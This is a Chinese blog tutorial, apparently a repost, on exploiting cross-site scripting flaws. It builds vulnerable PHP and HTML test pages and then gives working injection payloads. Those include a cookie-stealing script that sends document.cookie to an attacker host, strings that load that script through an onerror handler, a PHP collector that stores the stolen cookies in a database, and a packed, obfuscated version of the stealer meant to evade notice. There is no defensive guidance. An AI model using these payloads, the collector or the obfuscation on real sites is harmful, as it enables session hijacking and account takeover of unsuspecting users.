IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Web安全学习一之XSS漏洞的利用

    崔庆才发表于 2016-09-27 17:21:22
    love 0

    什么是XSS

    XSS 意为跨站脚本攻击(Cross Site Scripting),缩写应该是CSS,但是已经有了一个层叠样式表(Cascading Style Sheets),所以就叫它XSS了。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,最常见的就是拿到攻击者的 Cookie 然后就可以登录别人的账号了。

    XSS实例

    最简单的形式就是从URL中直接插入恶意的 JavaScript 代码,最简单的实例如下:

    <?php
    
    $input = $_GET['info'];
    echo $input;

    服务端接收到了数据并执行了输出操作。这样的话就完全可以利用了,你可以向参数输入任意代码。

    这个服务端的测试用例网址是 http://res.cuiqingcai.com/hack/xss1.php

    你可以直接在参数后面加入 JavaScript 代码,例如 http://res.cuiqingcai.com/hack/xss1.php?info=%3Cscript%3Ealert(%27hello%27)%3C/script%3E

    直接打开便实现了最简单的 XSS 攻击,不过有的浏览器对此种攻击方式执行了过滤,例如 Chrome, Firefox。有的未执行过滤的浏览器是可以正常演示的。正常的结果应该是输出一个提示框。

    接下来再演示另一种攻击方式。

    测试网址是 http://res.cuiqingcai.com/hack/xss2.html

    源代码如下

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>TEST XSS</title>
    </head>
    <body>
        <script>
            function test() {
                var text = document.getElementById('text').value;
                var new_text = '<a href="' + text + '">test</a>';
                console.log(new_text);
                document.getElementById('content').innerHTML = new_text;
            }
        </script>
    <div id="content"></div>
    <input type="text" id="text" value="">
    <input type="button" id="button" value="提交" onclick="test()">
    </body>
    </html>

    现在有一个输入框,点击按钮之后会将输入框的内容提取出来,然后拼凑到超链接标签里。在这里也可以执行XSS攻击。

    比如输入

    javascript:void(0)" onclick=alert('ssss') "

    提交之后会出现一个超链接,点击之后就可以执行你输入的代码,这次就弹出一个输入框。

    当然你也可以插入一张图片,用 onerror 属性定义方法

    "><img src="#" onerror=alert(/xss/)><meta class="

    也可以达到同样的效果。

    那么接下来来了,我们可以利用这个漏洞来盗取Cookie。

    盗取Cookie可以这样,在本地执行一个JavaScript脚本,然后请求恶意网址,恶意网址的参数就是本网址通过 document.cookie 获取的本地cookie,这样 cookie 就保存在恶意网站上了。

    这样的话,我们可以写一个脚本。

    var img = document.createElement('img');
    img.src = 'http://evil.cuiqingcai.com/cookie.php?url='+escape(window.location.href)+'&content='+escape(document.cookie);
    img.style = 'display:none';
    document.body.appendChild(img);

    创建一张图片,然后图片的链接是一个恶意网址加当前的cookie,然后添加到网页里。这样,新增加的一个网页便会请求这个src,实现访问。

    然后还是原来的实例,我们想在代码里执行这段JavaScript,那怎么办呢?直接创建一个script节点引用?

    先把这段js保存成 http://evil.cuiqingcai.com/cookie.js,试一下。

    输入

    javascript:void(0)"></a><script src="//evil.cuiqingcai.com/cookie.js"></script><a class="

    测试之后,发现并不能行。原因是插入script标签后,并不会自动请求这个链接。

    这样我们就需要再次借助图片这个神奇的东西来帮忙了。

    输入

    javascript:void(0)"></a><img src=# onerror="document.body.appendChild(document.createElement('script')).src='//evil.cuiqingcai.com/cookie.js'"><a class="

    这里创建了一张图片,然后利用 onerror 方法插入了一个 script 标签,引入这个JS文件,这样就可以正常加载了。

    嗯,那么这样就做到了将cookie传递给一个恶意网址。真正的盗取是在这里的。

    那么 http://evil.cuiqingcai.com/cookie.php 的内容是什么?

    <?php 
    
    session_start();
    
    $_SESSION['attempt'] = isset($_SESSION['attempt'])?$_SESSION['attempt']:0;
    
    $_SESSION['attempt'] += 1;
    
    if ($_SESSION['attempt'] >= 100) {
    	die("Too Frequent");
    }
    
    $mysqli = new mysqli("localhost", "root", "", "evil");
    if ($mysqli->connect_errno) {
        echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
    }
    
    $url = $_GET['url'];
    $content = $_GET['content'];
    
    $time = date("Y-m-d H:i:s", time());
    
    $items = explode(";", $content);
    
    $js = '';
    
    foreach ($items as $item) {
    	$js .= ("document.cookie='".trim($item)."';");
    }
    
    if ($url && $content && $stmt = $mysqli->prepare("insert into cookies(url, content, time, js) values (?, ?, ?, ?)")) {
        $stmt->bind_param("ssss", $url, $content, $time, $js);
        $result = $stmt->execute();
        if ($result) {
        	echo "Collected Your Cookie <br>" ;
        }
    }
    
    echo 'url:', $url, '<br>', 'content:', $content;

    其实就是获取了url,还有cookie内容,然后插入了数据库保存起来。

    这样,每成功一个XSS,就可以成功捕获到某个网站的Cookie。

    混淆加密

    其实将刚才的cookie.js贴到任意的网站都有可能引起XSS,比如CSDN。

    为了防止JavaScript被看出来,可以利用在线加密网站加密。http://tool.chinaz.com/js.aspx

    比如上面一段代码就被加密成这样,粘贴到控制台,就能成功获取Cookie了。

    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 0=1.8(\'0\');0.a=\'c://b.5.7/3.4?6=\'+2(j.i.l)+\'&k=\'+2(1.3);0.h=\'e:d\';1.g.f(0);',22,22,'img|document|escape|cookie|php|cuiqingcai|url|com|createElement|var|src|evil|http|none|display|appendChild|body|style|location|window|content|href'.split('|'),0,{}))

     

    转载请注明:静觅 » Web安全学习一之XSS漏洞的利用



沪ICP备19023445号-2号
友情链接